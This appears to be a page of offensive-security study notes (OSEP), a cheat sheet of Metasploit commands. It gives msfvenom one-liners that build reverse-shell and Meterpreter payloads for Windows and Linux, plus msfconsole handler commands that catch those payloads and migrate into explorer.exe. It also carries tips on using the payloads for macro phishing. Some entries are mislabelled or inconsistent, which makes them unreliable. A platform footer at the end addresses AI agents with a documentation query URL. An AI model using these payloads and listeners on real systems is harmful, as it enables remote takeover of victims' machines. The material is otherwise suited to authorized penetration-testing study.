# Metasploit Payload & Listener

## Payloads

#### Windows - Staged

```
msfvenom -p windows/x64/meterpreter_reverse_https LHOST=192.168.1.2 LPORT=443 EXITFUNC=thread -f ps1
```

{% hint style="info" %}
For macros phishing use a stageless 32-bit  payload
{% endhint %}

#### Windows - Stageless

```
msfvenom -p windows/meterpreter/reverse_https LHOST=192.168.1.2 LPORT=443 EXITFUNC=thread -f ps1
```

#### Windows - Reverse TCP

```
msfvenom -p windows/shell_reverse_tcp LHOST=192.168.1.2 LPORT=443 EXITFUNC=thread -f ps1
```

#### Linux - Reverse TCP

```
msfvenom -p linux/x64/meterpreter/reverse_tcp LHOST=192.168.1.2 LPORT=443 EXITFUNC=thread -f ps1
```

## Listeners

#### Windows - Staged

```
msfconsole -q -x "use exploit/multi/handler; set PAYLOAD windows/x64/meterpreter/reverse_https; set LHOST 192.168.1.2; set LPORT 443; set AutoRunScript migrate -n explorer.exe; exploit"
```

{% hint style="info" %}
For macros phishing use a stageless 32-bit listener&#x20;
{% endhint %}

#### Windows - Stageless

```
msfconsole -q -x "use exploit/multi/handler; set PAYLOAD windows/meterpreter/reverse_https; set LHOST 192.168.1.2; set LPORT 443; set AutoRunScript migrate -n explorer.exe; exploit"
```

#### Windows - Reverse TCP&#x20;

```
msfvenom -p windows/shell_reverse_tcp LHOST=192.168.1.2 LPORT=8080 EXITFUNC=thread -f ps1
```

#### Linux - Reverse TCP

```
msfconsole -q -x "use exploit/multi/handler; set PAYLOAD linux/x64/meterpreter/reverse_tcp; set LHOST 192.168.1.2; set LPORT 443; set AutoRunScript migrate -n explorer.exe; exploit"
```


---

# Agent Instructions: Querying This Documentation

If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter:

```
GET https://steffinstanly.gitbook.io/osep-notes/osep/metasploit-payload-and-listener.md?ask=<question>
```

The question should be specific, self-contained, and written in natural language.
The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
